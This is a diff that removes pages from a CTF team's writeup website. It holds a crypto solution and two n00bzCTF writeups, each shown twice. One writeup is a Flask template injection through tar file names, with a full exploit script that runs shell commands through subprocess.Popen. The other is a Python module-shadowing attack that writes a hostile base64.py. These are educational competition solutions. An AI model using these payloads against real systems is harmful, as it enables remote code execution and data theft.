The first objective is retrieving the AES key, so from each pow(t, N, N) I had to get t. -My idea was to use Fermat’s little theorem, therefore setting N to be prime would make it so tts == ts. This allows easy recovery of self.key but it’s also a grave mistake… -The second objective is guessing m0 and m1 128 times in a row to finally get the encrypted flag and decrypt it with our key. The idea is to use theory about quadratic residues, but this is where I got stuck: if N is prime this is actually impossible as sample will always generate a correct quadratic residue and therefore these two cases are indistinguishable

-$$ -\begin{cases} - c_0 \equiv r_0^2 \cdot z \pmod N \\ - c_0 \equiv r_0^2 \pmod N -\end{cases} -$$ -

After the end of the CTF I asked on discord for help on figuring out where I went wrong and some competitors who solved it kindly explained it to me. -The idea is to use a different value for N. -Recovering the private key requires “decrypting” the public values which are encrypted using the usual RSA method, we expect this to be hard without knowing the factorization of N, but as we’re the ones to choose it we can simply generate some primes, take their product and decrypting is easy as we have the factorization of N. -Now that N is composite sample won’t always generate quadratic residues mod N (there is still a possibility but it’s low enough to be ignored) so as soon as the Legendre symbol of c0 for any of the prime factors of N isn’t 1 we know we must be in the case where m0 == 1 (same goes for c1and m1). -After 128 rounds we are given the encrypted flag which we can just decrypt as we have the key.

-
from Pwn4Sage.pwn import *
-from Crypto.Cipher import AES
-from Crypto.Util.Padding import unpad
-import json, hashlib
-
-r = remote('yaot.challs.m0lecon.it', 2844)
-
-primes = [random_prime(2^(32), lbound=2^31) for _ in range(33)]
-N = prod(primes)
-
-assert N > 2^1024
-
-phi = prod([p - 1 for p in primes])
-d = inverse_mod(N, phi)
-
-# Pwn4Sage doesn't have sendlineafter
-r.sendafter(b'number: ', str(N).encode() + b'\n')
-
-tts = json.loads(r.recvline().rstrip())['vals']
-
-ts = [pow(tt, d, N) for tt in tts]
-
-key = hashlib.sha256((",".join(map(str, ts))).encode()).digest()
-
-for _ in range(128):
-    data = json.loads(r.recvline().rstrip())
-
-    c0, c1 = data['c0'], data['c1']
-
-    m0 = int(any(legendre_symbol(c0, p) != 1 for p in primes))
-    m1 = int(any(legendre_symbol(c1, p) != 1 for p in primes))
-
-    payload = json.dumps({'m0': m0, 'm1': m1}).encode()
-
-    r.sendline(payload)
-
-enc_flag = bytes.fromhex(r.recvline().rstrip().decode())
-
-cipher = AES.new(key, AES.MODE_ECB)
-
-flag = unpad(cipher.decrypt(enc_flag), 16).decode()
-
-print('flag:', flag)
-
-
$ flag: ptm{t0_b3_0r_n07_t0_b3_4_qu4dr471c_r351du3?}
-
-

Author: vympel

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/n00bzctf/index.html b/public/writeups/n00bzctf/index.html deleted file mode 100644 index 2815853b..00000000 --- a/public/writeups/n00bzctf/index.html +++ /dev/null @@ -1,391 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - N00bzCTF - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
N00bz
- - -
- -
-

- Last edit: Aug 5, 2024 -

-
- - -
- - - -
- - - - - - -

N00bz CTF 2024 - - - - - - - - -

- - -

Description - - - - - - - - -

- -

A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz.

- -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: 31/32
  • -
  • Total point: 9794.000
  • -
  • Position: 24
  • -
  • Rating points: 24.067
  • -
- -

Writeups - - - - - - - - -

- - -

Web - - - - - - - - -

- - - -

Misc - - - - - - - - -

- - - -
-
- - - - - -
-
-
-
Copyright © 2024 by ByteTheCookies Team
-
- - - diff --git a/public/writeups/n00bzctf2024/index.html b/public/writeups/n00bzctf2024/index.html deleted file mode 100644 index e020d33e..00000000 --- a/public/writeups/n00bzctf2024/index.html +++ /dev/null @@ -1,425 +0,0 @@ - - - - - - - - - - - N00bzCTF 2024 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
N00bz
- - -
Web
- - -
Crypto
- - -
Osint
- - -
Misc
- - -
Pwn
- - -
Reverse
- - -
- -
-

- Last edit: Aug 5, 2024 -

-
- - -
- - - -
- - - - - - -

N00bz CTF 2024 - - - - - - - - -

- - -

Description - - - - - - - - -

- -

A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz.

- - -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: 31/32
  • -
  • Total points: 9794.000
  • -
  • Position: 24/967
  • -
  • Rating points: 24.067
  • -
- -

Writeups - - - - - - - - -

- - -

Web - - - - - - - - -

- - - -

Misc - - - - - - - - -

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/namectf/namechallange/index.html b/public/writeups/namectf/namechallange/index.html deleted file mode 100644 index 3966d633..00000000 --- a/public/writeups/namectf/namechallange/index.html +++ /dev/null @@ -1,354 +0,0 @@ - - - - - - - - - - - - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
category
- - -
language
- - -
attack type
- - -
n points
- - -
n solves
- - -
authors
- - -
- -
-

- Last edit: Jul 8, 2025 -

-
- - -
- - - -
- - - - - -

Namechallange

-

Description: …

- -

Introduction

- -

- -

Source

- -

-
# filename: file.py
-
-
-
-
-

- -

Solution

- -

-
# filename: file.py
-
-
-
-
-
$ flag: flag{redacted}
-
-

Author: ...

- -
-
- -
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/writeups/noobzctf/filesharingportal/index.html b/public/writeups/noobzctf/filesharingportal/index.html deleted file mode 100644 index f584285d..00000000 --- a/public/writeups/noobzctf/filesharingportal/index.html +++ /dev/null @@ -1,502 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - File Sharing Portal - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
Python
- - -
Template Injection
- - -
498 points
- - -
119 solves
- - -
NoobMaster + NoobHacker
- - -
- -
-

- Last edit: Aug 6, 2024 -

-
- - -
- - - -
- - - - - -

File Sharing Portal

-

Description: Welcome to the file sharing portal! We only support tar files!

- -

Introduction - - - - - - - - -

- -

The ctf has a very simple structure: we have a form in which we are asked to insert a tar file; once the tar file has been inserted, it is unzipped and we are shown the name of files it contains; by clicking on the different files, we can read their contents.

- -

Source - - - - - - - - -

- -

The source has comments added later to allow a better understanding of the code in the writeups

-
# filename: server.py
-
-#!/usr/bin/env python3
-from flask import Flask, request, redirect, render_template, render_template_string
-import tarfile
-from hashlib import sha256
-import os
-app = Flask(__name__)
-
-@app.route('/',methods=['GET','POST'])
-def main():
-    # This function mainly deals with loading the tar file into the server's file system.
-    global username
-    if request.method == 'GET':
-        return render_template('index.html')
-    elif request.method == 'POST':
-        file = request.files['file']
-        if file.filename[-4:] != '.tar': # Check that the file passed is actually a tar file
-            return render_template_string("<p> We only support tar files as of right now!</p>") # Otherwise, it renders an error message
-        name = sha256(os.urandom(16)).digest().hex() # Creates a random name that it will use to name our tar and the folder in the server's file system
-        os.makedirs(f"./uploads/{name}", exist_ok=True) # Create the directory
-        file.save(f"./uploads/{name}/{name}.tar") # Save the tar file
-        try:
-            # Extract the tar file
-            tar_file = tarfile.TarFile(f'./uploads/{name}/{name}.tar')
-            tar_file.extractall(path=f'./uploads/{name}/')
-            return render_template_string(f"<p>Tar file extracted! View <a href='/view/{name}'>here</a>")
-        except:
-            return render_template_string("<p>Failed to extract file!</p>")
-
-@app.route('/view/<name>')
-def view(name):
-    # This function displays the files contained in the .tar file
-    if not all([i in "abcdef1234567890" for i in name]): # Check that the file name is in hexadecimal, to avoid any kind of malicious input 
-        return render_template_string("<p>Error!</p>")
-        #print(os.popen(f'ls ./uploads/{name}').read())
-            #print(name)
-    files = os.listdir(f"./uploads/{name}") # List all files in the previously created folder 
-    out = '<h1>Files</h1><br>'
-    files.remove(f'{name}.tar')  # Remove the tar file from the list
-    for i in files:
-        out += f'<a href="/read/{name}/{i}">{i}</a>' # Show via templates all file names
-       # except:
-    return render_template_string(out) # Render the template with the render_template_string function
-
-@app.route('/read/<name>/<file>')
-def read(name,file):
-    # The function shows the contents of the single file
-    if (not all([i in "abcdef1234567890" for i in name])): # Check that the file name is in hexadecimal, to avoid any kind of malicious input 
-        return render_template_string("<p>Error!</p>")
-    if ((".." in name) or (".." in file)) or (("/" in file) or "/" in name):  # Other controls to avoid path er
-        return render_template_string("<p>Error!</p>")
-    f = open(f'./uploads/{name}/{file}') # Open the file
-    data = f.read()
-    f.close()
-    return data # Return the content of file
-
-if __name__ == '__main__':
-    app.run(host='0.0.0.0', port=1337)
-
-
-
-

We can therefore see that there are several parameter checks, and at first one might think that the code is 100% safe.

- -

Solution - - - - - - - - -

- -

The first thing that came to mind was to create a symbolic link to access the flag, and indeed this works (try with server.py), the problem is that the filename of the flag is unknown and this does not allow us to create a valid symbolic link.

-

Once we realised this, we did a thorough analysis of the code and came to the conclusion that the only thing that was not being checked was the name of the unpacked tar file allowing us to insert anything. By combining this with the ‘render_template_string’ function (a vulnerable function of flask), it is possible to perform a template injection.

-
# filename: exploit.py
-
-import requests
-import os
-import tarfile
-from bs4 import BeautifulSoup
-
-url = 'http://redacted.challs.n00bzunit3d.xyz:8080/'
-
-
-def create_tar(tar_name, file):
-    with tarfile.open(tar_name, 'w') as tar:
-        tar.add(file, arcname=os.path.basename(file))
-    print(f'Tar file created: {tar_name}')
-
-
-def create_payload(payload):
-    with open(payload, 'w') as f:
-        f.write('Remember to byte the cookies')
-
-    create_tar('exploit.tar', payload)
-    print(f'Payload created: {payload}')
-
-
-def get_url_view(text):
-    soup = BeautifulSoup(text, 'html5lib')
-    return [a['href'] for a in soup.find_all('a', href=True)][0]
-
-
-def leak_subprocess_index():
-    payload = "{{int.__class__.__base__.__subclasses__()}}"
-    create_payload(payload)
-
-    r = requests.post(url, files={'file': open('exploit.tar', 'rb')})
-
-    url_file = get_url_view(r.text)
-    r = requests.get(url + url_file)
-    text = r.text[r.text.index('[')+1:]
-
-    list_classes = text.split(',')
-
-    for i, c in enumerate(list_classes):
-        if 'subprocess.Popen' in c:
-            print(f'Index subprocess.Popen: {i}')
-            return str(i)
-
-
-def get_flag(index):
-    payload = "{{int.__class__.__base__.__subclasses__()[" + \
-        index + "]('cat *', shell=True, stdout=-1).communicate()}}"
-    create_payload(payload)
-
-    r = requests.post(url, files={'file': open('exploit.tar', 'rb')})
-
-    url_file = get_url_view(r.text)
-    r = requests.get(url + url_file)
-
-    flag = r.text[r.text.index('n00bz{'):r.text.index('}')+1]
-    print(f'Flag: {flag}')
-
-
-def main():
-    subprocess_index = leak_subprocess_index()
-    get_flag(subprocess_index)
-
-
-if __name__ == '__main__':
-    main()
-
-
-
-
$ flag: n00bz{n3v3r_7rus71ng_t4r_4g41n!_b3506983087e}
-
-

Author: akiidjk

-
-
- - - - - -
-
-
-
Copyright © 2024 by ByteTheCookies Team
-
- - - diff --git a/public/writeups/noobzctf/waas/index.html b/public/writeups/noobzctf/waas/index.html deleted file mode 100644 index 04015397..00000000 --- a/public/writeups/noobzctf/waas/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - WaaS - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Misc
- - -
Python
- - -
491 points
- - -
78 solves
- - -
NoobMaster + NoobHacker
- - -
- -
-

- Last edit: Aug 6, 2024 -

-
- - -
- - - -
- - - - - -

Waas

-

Description: Writing as a Service!

- -

Introduction - - - - - - - - -

- -

WaaS (Writing as a Service) allows us to overwrite a file on the system (after some input validation) and insert anything (until a newline is met) we want in it.

-
import subprocess
-from base64 import b64decode as d
-while True:
-        print("[1] Write to a file\n[2] Get the flag\n[3] Exit")
-        try:
-                inp = int(input("Choice: ").strip())
-        except:
-                print("Invalid input!")
-                exit(0)
-        if inp == 1:
-                file = input("Enter file name: ").strip()
-                assert file.count('.') <= 2 # Why do you need more?
-                assert "/proc" not in file # Why do you need to write there?
-                assert "/bin" not in file # Why do you need to write there? 
-                assert "\n" not in file # Why do you need these?
-                assert "chall" not in file # Don't be overwriting my files!
-                try: 
-                        f = open(file,'w')
-                except:
-                        print("Error! Maybe the file does not exist?")
-
-                f.write(input("Data: ").strip())
-                f.close()
-                print("Data written sucessfully!")
-
-        if inp == 2:
-                flag = subprocess.run(["cat","fake_flag.txt"],capture_output=True) # You actually thought I would give the flag?
-                print(flag.stdout.strip())
-
- -

Solution - - - - - - - - -

- -

At first one may think of trying to bypass the input validation to perhaps rewrite the workings of the cat command or the challenge file itself, but this isn’t possible. -Something very bizarre is the imported but unused b64decode from the base64 module, which is what allows us to solve the challenge. -When python imports modules it looks in sys.path, which has a list of valid directories to import modules from. After a quick scan through the python3 docs we find out that the first directory it looks through is the same directory the file is in, this means that if we have a base64.py file in the directory then python will try to import a b64decode symbol from that file instead of the common known module. -One more feature of python’s import behavior we can use is the that all the code in an imported module will be executed. For example if a file test.py has print('Hello, World!') and it can be executed (for example if it’s at the lowest indentation level) then a file with import test will indeed see Hello, World! printed to stdout. -Therefore, since the open function with a 'w' flag will create a file if it does not exist, we can simply create a file named base64.py and write our malicious code in it. -Something like this will do the trick:

-
import os; b64decode = 0; os.system("cat flag.txt")
-
-

But the flag isn’t our yet; we need to use the fact that the instance does not reset its files every time we connect to it, which means that our base64.py will remain in the directory for the lifetime of the instance. This means we simply need to reconnect to it and get our flag.

-

solve.py

-
from pwn import *
-
-def solve():
-  r = remote('challs.n00bzunit3d.xyz', 10478) # PORT depends on the instance
-
-  r.sendlineafter(b'Choice: ', b'1') # 1 to write a file
-  r.sendlineafter(b'Enter file name: ', b'base64.py')
-  r.sendlineafter(b'Data: ', b'import os; b64decode = 0; os.system("cat flag.txt")')
-
-  r.close()
-
-  r = remote('challs.n00bzunit3d.xyz', 10478) # PORT depends on the instance
-  flag = r.recvline().decode()
-  print(f'flag: {flag}')
-  r.close()
-
-if __name__ == '__main__':
-  solve()
-
-
flag: n00bz{0v3rwr1t1ng_py7h0n3_m0dul3s?!!!_f5c63f47af0e}
-
-

Author: vympel

- -
-
- - - - - -
-
-
-
Copyright © 2024 by ByteTheCookies Team
-
- - - diff --git a/public/writeups/noobzctf2024/filesharingportal/index.html b/public/writeups/noobzctf2024/filesharingportal/index.html deleted file mode 100644 index 605e0db7..00000000 --- a/public/writeups/noobzctf2024/filesharingportal/index.html +++ /dev/null @@ -1,510 +0,0 @@ - - - - - - - - - - - File Sharing Portal - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
Python
- - -
Template Injection
- - -
498 points
- - -
119 solves
- - -
NoobMaster + NoobHacker
- - -
- -
-

- Last edit: Aug 6, 2024 -

-
- - -
- - - -
- - - - - -

File Sharing Portal

-

Description: Welcome to the file sharing portal! We only support tar files!

- -

Introduction - - - - - - - - -

- -

The ctf has a very simple structure: we have a form in which we are asked to insert a tar file; once the tar file has been inserted, it is unzipped and we are shown the name of files it contains; by clicking on the different files, we can read their contents.

- -

Source - - - - - - - - -

- -

The source has comments added later to allow a better understanding of the code in the writeups

-
# filename: server.py
-
-#!/usr/bin/env python3
-from flask import Flask, request, redirect, render_template, render_template_string
-import tarfile
-from hashlib import sha256
-import os
-app = Flask(__name__)
-
-@app.route('/',methods=['GET','POST'])
-def main():
-    # This function mainly deals with loading the tar file into the server's file system.
-    global username
-    if request.method == 'GET':
-        return render_template('index.html')
-    elif request.method == 'POST':
-        file = request.files['file']
-        if file.filename[-4:] != '.tar': # Check that the file passed is actually a tar file
-            return render_template_string("<p> We only support tar files as of right now!</p>") # Otherwise, it renders an error message
-        name = sha256(os.urandom(16)).digest().hex() # Creates a random name that it will use to name our tar and the folder in the server's file system
-        os.makedirs(f"./uploads/{name}", exist_ok=True) # Create the directory
-        file.save(f"./uploads/{name}/{name}.tar") # Save the tar file
-        try:
-            # Extract the tar file
-            tar_file = tarfile.TarFile(f'./uploads/{name}/{name}.tar')
-            tar_file.extractall(path=f'./uploads/{name}/')
-            return render_template_string(f"<p>Tar file extracted! View <a href='/view/{name}'>here</a>")
-        except:
-            return render_template_string("<p>Failed to extract file!</p>")
-
-@app.route('/view/<name>')
-def view(name):
-    # This function displays the files contained in the .tar file
-    if not all([i in "abcdef1234567890" for i in name]): # Check that the file name is in hexadecimal, to avoid any kind of malicious input 
-        return render_template_string("<p>Error!</p>")
-        #print(os.popen(f'ls ./uploads/{name}').read())
-            #print(name)
-    files = os.listdir(f"./uploads/{name}") # List all files in the previously created folder 
-    out = '<h1>Files</h1><br>'
-    files.remove(f'{name}.tar')  # Remove the tar file from the list
-    for i in files:
-        out += f'<a href="/read/{name}/{i}">{i}</a>' # Show via templates all file names
-       # except:
-    return render_template_string(out) # Render the template with the render_template_string function
-
-@app.route('/read/<name>/<file>')
-def read(name,file):
-    # The function shows the contents of the single file
-    if (not all([i in "abcdef1234567890" for i in name])): # Check that the file name is in hexadecimal, to avoid any kind of malicious input 
-        return render_template_string("<p>Error!</p>")
-    if ((".." in name) or (".." in file)) or (("/" in file) or "/" in name):  # Other controls to avoid path er
-        return render_template_string("<p>Error!</p>")
-    f = open(f'./uploads/{name}/{file}') # Open the file
-    data = f.read()
-    f.close()
-    return data # Return the content of file
-
-if __name__ == '__main__':
-    app.run(host='0.0.0.0', port=1337)
-
-
-
-

We can therefore see that there are several parameter checks, and at first one might think that the code is 100% safe.

- -

Solution - - - - - - - - -

- -

The first thing that came to mind was to create a symbolic link to access the flag, and indeed this works (try with server.py), the problem is that the filename of the flag is unknown and this does not allow us to create a valid symbolic link.

-

Once we realised this, we did a thorough analysis of the code and came to the conclusion that the only thing that was not being checked was the name of the unpacked tar file allowing us to insert anything. By combining this with the ‘render_template_string’ function (a vulnerable function of flask), it is possible to perform a template injection.

-
# filename: exploit.py
-
-import requests
-import os
-import tarfile
-from bs4 import BeautifulSoup
-
-url = 'http://redacted.challs.n00bzunit3d.xyz:8080/'
-
-
-def create_tar(tar_name, file):
-    with tarfile.open(tar_name, 'w') as tar:
-        tar.add(file, arcname=os.path.basename(file))
-    print(f'Tar file created: {tar_name}')
-
-
-def create_payload(payload):
-    with open(payload, 'w') as f:
-        f.write('Remember to byte the cookies')
-
-    create_tar('exploit.tar', payload)
-    print(f'Payload created: {payload}')
-
-
-def get_url_view(text):
-    soup = BeautifulSoup(text, 'html5lib')
-    return [a['href'] for a in soup.find_all('a', href=True)][0]
-
-
-def leak_subprocess_index():
-    payload = "{{int.__class__.__base__.__subclasses__()}}"
-    create_payload(payload)
-
-    r = requests.post(url, files={'file': open('exploit.tar', 'rb')})
-
-    url_file = get_url_view(r.text)
-    r = requests.get(url + url_file)
-    text = r.text[r.text.index('[')+1:]
-
-    list_classes = text.split(',')
-
-    for i, c in enumerate(list_classes):
-        if 'subprocess.Popen' in c:
-            print(f'Index subprocess.Popen: {i}')
-            return str(i)
-
-
-def get_flag(index):
-    payload = "{{int.__class__.__base__.__subclasses__()[" + \
-        index + "]('cat *', shell=True, stdout=-1).communicate()}}"
-    create_payload(payload)
-
-    r = requests.post(url, files={'file': open('exploit.tar', 'rb')})
-
-    url_file = get_url_view(r.text)
-    r = requests.get(url + url_file)
-
-    flag = r.text[r.text.index('n00bz{'):r.text.index('}')+1]
-    print(f'Flag: {flag}')
-
-
-def main():
-    subprocess_index = leak_subprocess_index()
-    get_flag(subprocess_index)
-
-
-if __name__ == '__main__':
-    main()
-
-
-
-
$ flag: n00bz{n3v3r_7rus71ng_t4r_4g41n!_b3506983087e}
-
-

Author: akiidjk

-
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/noobzctf2024/waas/index.html b/public/writeups/noobzctf2024/waas/index.html deleted file mode 100644 index 02c2f501..00000000 --- a/public/writeups/noobzctf2024/waas/index.html +++ /dev/null @@ -1,411 +0,0 @@ - - - - - - - - - - - WaaS - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Misc
- - -
Python
- - -
491 points
- - -
78 solves
- - -
NoobMaster + NoobHacker
- - -
- -
-

- Last edit: Aug 6, 2024 -

-
- - -
- - - -
- - - - - -

Waas

-

Description: Writing as a Service!

- -

Introduction - - - - - - - - -

- -

WaaS (Writing as a Service) allows us to overwrite a file on the system (after some input validation) and insert anything (until a newline is met) we want in it.

-
import subprocess
-from base64 import b64decode as d
-while True:
-        print("[1] Write to a file\n[2] Get the flag\n[3] Exit")
-        try:
-                inp = int(input("Choice: ").strip())
-        except:
-                print("Invalid input!")
-                exit(0)
-        if inp == 1:
-                file = input("Enter file name: ").strip()
-                assert file.count('.') <= 2 # Why do you need more?
-                assert "/proc" not in file # Why do you need to write there?
-                assert "/bin" not in file # Why do you need to write there?
-                assert "\n" not in file # Why do you need these?
-                assert "chall" not in file # Don't be overwriting my files!
-                try:
-                        f = open(file,'w')
-                except:
-                        print("Error! Maybe the file does not exist?")
-
-                f.write(input("Data: ").strip())
-                f.close()
-                print("Data written sucessfully!")
-
-        if inp == 2:
-                flag = subprocess.run(["cat","fake_flag.txt"],capture_output=True) # You actually thought I would give the flag?
-                print(flag.stdout.strip())
-
- -

Solution - - - - - - - - -

- -

At first one may think of trying to bypass the input validation to perhaps rewrite the workings of the cat command or the challenge file itself, but this isn’t possible. -Something very bizarre is the imported but unused b64decode from the base64 module, which is what allows us to solve the challenge. -When python imports modules it looks in sys.path, which has a list of valid directories to import modules from. After a quick scan through the python3 docs we find out that the first directory it looks through is the same directory the file is in, this means that if we have a base64.py file in the directory then python will try to import a b64decode symbol from that file instead of the common known module. -One more feature of python’s import behavior we can use is the that all the code in an imported module will be executed. For example if a file test.py has print('Hello, World!') and it can be executed (for example if it’s at the lowest indentation level) then a file with import test will indeed see Hello, World! printed to stdout. -Therefore, since the open function with a 'w' flag will create a file if it does not exist, we can simply create a file named base64.py and write our malicious code in it. -Something like this will do the trick:

-
import os; b64decode = 0; os.system("cat flag.txt")
-
-

But the flag isn’t our yet; we need to use the fact that the instance does not reset its files every time we connect to it, which means that our base64.py will remain in the directory for the lifetime of the instance. This means we simply need to reconnect to it and get our flag.

-

solve.py

-
from pwn import *
-
-def solve():
-  r = remote('challs.n00bzunit3d.xyz', 10478) # PORT depends on the instance
-
-  r.sendlineafter(b'Choice: ', b'1') # 1 to write a file
-  r.sendlineafter(b'Enter file name: ', b'base64.py')
-  r.sendlineafter(b'Data: ', b'import os; b64decode = 0; os.system("cat flag.txt")')
-
-  r.close()
-
-  r = remote('challs.n00bzunit3d.xyz', 10478) # PORT depends on the instance
-  flag = r.recvline().decode()
-  print(f'flag: {flag}')
-  r.close()
-
-if __name__ == '__main__':
-  solve()
-
-
$ flag: n00bz{0v3rwr1t1ng_py7h0n3_m0dul3s?!!!_f5c63f47af0e}
-
-

Author: vympel

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/page/1/index.html b/public/writeups/page/1/index.html deleted file mode 100644 index fd90ecb9..00000000 --- a/public/writeups/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/writeups/ - - - - - - diff --git a/public/writeups/page/10/index.html b/public/writeups/page/10/index.html deleted file mode 100644 index 2a0f7cc0..00000000 --- a/public/writeups/page/10/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - - Writeup - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - - - - - -
- - -
-
- Kirbytime -
-
- Kirbytime Description: Welcome to Kirby&rsquo;s Website. -Introduction We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters. -Source # filename: main.py import sqlite3 from flask import Flask, request, redirect, render_template import time app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def login(): message = None if request.method == 'POST': password = request.form['password'] real = 'REDACTED' if len(password) != 7: return render_template('login. -
- -
-
- - -
-
- Lexington Informatics Tournament CTF 2024 -
-
- Lexington Informatics Tournament CTF Description Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that&rsquo;s open to everyone. -Url Discord Performance Summary CTFs: 18/32 Total points: 2068 Position: 95/830 Rating points: 19.095 Writeups Web Kirbytime -
- -
-
- - -
-
- File Sharing Portal -
-
- File Sharing Portal Description: Welcome to the file sharing portal! We only support tar files! -Introduction The ctf has a very simple structure: we have a form in which we are asked to insert a tar file; once the tar file has been inserted, it is unzipped and we are shown the name of files it contains; by clicking on the different files, we can read their contents. -Source The source has comments added later to allow a better understanding of the code in the writeups -
- -
-
- - -
-
- WaaS -
-
- Waas Description: Writing as a Service! -Introduction WaaS (Writing as a Service) allows us to overwrite a file on the system (after some input validation) and insert anything (until a newline is met) we want in it. -import subprocess from base64 import b64decode as d while True: print(&quot;[1] Write to a file\n[2] Get the flag\n[3] Exit&quot;) try: inp = int(input(&quot;Choice: &quot;).strip()) except: print(&quot;Invalid input!&quot;) exit(0) if inp == 1: file = input(&quot;Enter file name: &quot;). -
- -
-
- - -
-
- N00bzCTF 2024 -
-
- N00bz CTF 2024 Description A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz. -Url Discord Performance Summary CTFs: 31/32 Total points: 9794.000 Position: 24/967 Rating points: 24.067 Writeups Web File Sharing Portal Misc Waas -
- -
-
- - - -
- - - - - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/page/11/index.html b/public/writeups/page/11/index.html deleted file mode 100644 index 9133aa00..00000000 --- a/public/writeups/page/11/index.html +++ /dev/null @@ -1,326 +0,0 @@ - - - - - - - - - - - Writeup - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
- -
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/page/2/index.html b/public/writeups/page/2/index.html deleted file mode 100644 index c616543d..00000000 --- a/public/writeups/page/2/index.html +++ /dev/null @@ -1,408 +0,0 @@ - - - - - - - - - - - Writeup - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - - - - - -
- - -
-
- CornCTF 2025 -
-
- CornCTF 2025 Description A CTF by a friendly team of farmers. Includes challenges of the following categories: -Url Discord Performance Summary CTFs: 8/22 Total points: 1966 Position: 9/270 Rating points: 8.811 Writeups Crypto ECRSA Web Aeronaut Simple-chat -
- -
-
- - -
-
- ECRSA -
-
- ECRSA RSA or Elliptic Curves? Why not both? -Introduction ECRSA was a crypto CTF from cornCTF 2025. -#!/usr/bin/env python3 from secret_params import curve_p, a, b, order, secret_point_x, secret_point_y import os FLAG = os.getenv(&quot;FLAG&quot;, &quot;corn{__redacted_redacted_redacted__redacted_redacted_redacted__}&quot;).encode() assert FLAG.startswith(b&quot;corn{&quot;) and FLAG.endswith(b&quot;}&quot;) assert len(FLAG) == 64 def sign(m, x): if m == 0 or m == 1 or m == n-1: print(&quot;No weak messages allowed here&quot;) return None try: user_point = E.lift_x(x) except ValueError: print(f&quot;Invalid point: {x} does not describe any point on the curve&quot;) return None sig = pow(m, d, n) sig = sig * user_point + secret_point return sig. -
- -
-
- - -
-
- StackBank 1 -
-
